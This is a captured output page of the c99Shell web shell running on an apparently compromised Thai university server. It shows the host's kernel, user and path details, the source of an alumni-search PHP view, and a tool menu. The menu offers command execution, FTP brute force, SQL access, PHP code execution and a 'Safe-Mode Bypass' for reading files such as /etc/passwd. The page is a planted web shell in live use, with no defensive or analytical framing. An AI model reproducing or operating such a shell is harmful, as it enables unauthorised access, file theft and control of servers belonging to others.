!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/stdalumni/application/views/stdalumni/   drwxr-xr-x
Free 49.66 GB of 127.8 GB (38.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_pre_showalumni.php (4.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><br /></td>
    </tr>
    <tr>
        <td><?php echo form_open($this->config->item("ea_folder")."prelogin/searchalumni", array("name" => "myform""id" => "myform"));?><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
            <tr>
                <td align="center"><span class="h error">รายชื่อศิษย์เก่า</span></td>
            </tr>
            <tr>
                <td><br ></td>
            </tr>
            <tr>
                <td><table class="szone">
                    <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                        <td class="coltd_szone2">รหัสนักศึกษา</td>
                        <td><input type="text" name="studentCode" id="studentCode" value="<?php echo set_value('studentCode');?>" size="11" maxlength="10" /></td>
                    </tr>
                    <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                        <td class="coltd_szone2">ชื่อ - สกุลนักศึกษา</td>
                        <td><input type="text" name="name" id="name" value="<?php echo set_value('name');?>" /></td>
                    </tr>
                    <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                        <td class="coltd_szone2">ปีที่สำเร็จการศึกษา</td>
                        <td><input type="text" name="adY" id="adY" value="<?php echo set_value('adY');?>" size="5" maxlength="4" /></td>
                    </tr>
                    <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                        <td class="coltd_szone2">หลักสูตร ตามระบบทะเบียน</td>
                        <td>
<?php
                        
echo form_dropdown('regCurId'$rs_curdset_value('regCurId'));
?>
                        </td>
                    </tr>
                    <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                        <td class="coltd_szone2">หลักสูตร ตามระบบทะเบียนศิษย์เก่า</td>
                        <td>
<?php
                        
echo form_dropdown('eaCurId'$rs_paset_value('eaCurId'));
?>
                        </td>
                    </tr>
<?php
                
if(isset($str_fault)) {
?>
                    <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                        <td colspan="2" align="center"><span class="error"><?php echo $str_fault;?></span></td>
                    </tr>
<?php
                
}
?>
                    <tr bgcolor="<?php echo $this->config->item('tr_c_even');?>">
                        <td colspan="2" align="center">
                        <input type="submit" name="search" id="search" value="ค้นหา" />
                        <input type="reset" name="clear" id="clear" value="เคลียร์ข้อมูล" onclick="location.href='<?php echo site_url()."/".$this->config->item('ea_folder').'prelogin/showalumni';?>'" /></td>
                    </tr>
                </table></td>
            </tr>
        </table><?php echo form_error();?></td>
    </tr>
    <tr>
        <td><br /></td>
    </tr>
    <tr>
        <td><table class="headCol">
            <tr bgcolor="<?php echo $this->config->item('table_c_even');?>">
                <th class="seqCol">ลำดับที่</th>
                <th class="stdCodeCol">รหัสนักศึกษา</th>
                <th>รายชื่อศิษย์เก่า</th>
                <th class="domAmtCol">ปีที่สำเร็จการศึกษา</th>
                <th class="domAmtCol">วันที่สำเร็จการศึกษา</th>
            </tr>
<?php
    $i 
0;
    if(isset(
$rs_am) && $rs_am->num_rows()) {
        foreach(
$rs_am->result() as $row_am) {
            echo 
"<tr onmouseover=\"bgColor='".$this->config->item('tr_c_even')."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                <td align="center"><?php echo $i+1;?></td>
                <td align="center"><?php echo $row_am->studentCode;?></td>
                <td class="indent"><?php echo $row_am->prefixName.$row_am->studentName." ".$row_am->studentSurname;?></td>
                <td align="center"><?php echo $row_am->admitAcadYear;?></td>
                <td class="indent"><?php echo abbreDate2($row_am->finishDate);?></td>
            </tr>
<?php
            $i
++;
        }
    } else {
?>
            <tr>
                <td colspan="5" align="center"><span class="error">** ไม่ปรากฏรายการดังกล่าวในฐานข้อมูล **</span></td>
            </tr>
<?php
    
}
?>
        </table></td>
    </tr>
    <tr>
        <td align="right"><font size="2">รวม <?php echo $i;?> รายการ</font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0175 ]--